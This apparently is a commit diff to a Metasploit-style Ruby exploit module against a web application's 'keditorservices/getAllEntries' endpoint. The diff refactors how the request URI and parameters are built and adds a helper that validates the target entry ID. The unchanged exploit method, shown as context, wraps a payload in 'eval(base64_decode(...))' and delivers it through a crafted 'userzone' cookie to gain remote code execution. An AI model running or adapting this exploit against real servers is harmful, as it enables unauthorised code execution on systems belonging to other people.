@@ -74,7 +74,11 @@ def check
74
74
75
75
res = send_request_cgi (
76
76
'method' => 'GET' ,
77
- 'uri' => normalize_uri ( target_uri . path , "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{ entry_id } " ) ,
77
+ 'uri' => normalize_uri ( target_uri . path , 'index.php' , 'keditorservices' , 'getAllEntries' ) ,
78
+ 'vars_get' => {
79
+ 'list_type' => '15' ,
80
+ 'entry_id' => entry_id
81
+ } ,
78
82
'headers' => {
79
83
'Cookie' => "userzone=#{ encoded } #{ hash } "
80
84
}
@@ -85,12 +89,29 @@ def check
85
89
Exploit ::CheckCode ::Safe
86
90
elsif res && res . body . include? ( r )
87
91
Exploit ::CheckCode ::Vulnerable
92
+ elsif not self . check_entryid ( )
93
+ print_error ( "Invalid ENTRYID" )
94
+ Exploit ::CheckCode ::Safe
88
95
else
89
- print_warning ( "Did you use a valid entry_id?" )
90
96
Exploit ::CheckCode ::Safe
91
97
end
92
98
end
93
99
100
+ def check_entryid
101
+ entry_id = datastore [ 'ENTRYID' ]
102
+ res = send_request_cgi (
103
+ 'method' => 'GET' ,
104
+ 'uri' => normalize_uri ( target_uri . path , 'index.php' , 'keditorservices' , 'getAllEntries' ) ,
105
+ 'vars_get' => {
106
+ 'list_type' => '15' ,
107
+ 'entry_id' => entry_id
108
+ }
109
+ )
110
+
111
+ return res . body . include? entry_id
112
+
113
+ end
114
+
94
115
def exploit
95
116
entry_id = datastore [ 'ENTRYID' ]
96
117
cmd = "print_r(eval(base64_decode('#{ Rex ::Text . encode_base64 ( payload . encode ) } '))).die()"
@@ -109,7 +130,11 @@ def exploit
109
130
110
131
res = send_request_cgi (
111
132
'method' => 'GET' ,
112
- 'uri' => normalize_uri ( target_uri . path , "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{ entry_id } " ) ,
133
+ 'uri' => normalize_uri ( target_uri . path , 'index.php' , 'keditorservices' , 'getAllEntries' ) ,
134
+ 'vars_get' => {
135
+ 'list_type' => '15' ,
136
+ 'entry_id' => entry_id
137
+ } ,
113
138
'headers' => {
114
139
'Cookie' => "userzone=#{ encoded } #{ hash } "
115
140
}
@@ -118,7 +143,7 @@ def exploit
118
143
if res and res . redirect?
119
144
print_error ( "Got a redirect, maybe you are not using https? #{ res . headers [ 'Location' ] } " )
120
145
elsif res and res . code != 200
121
- print_error ( " Unexpected response..." )
146
+ print_error ( ' Unexpected response...' )
122
147
else
123
148
print_status ( "Output: #{ res . body } " )
124
149
end
0 commit comments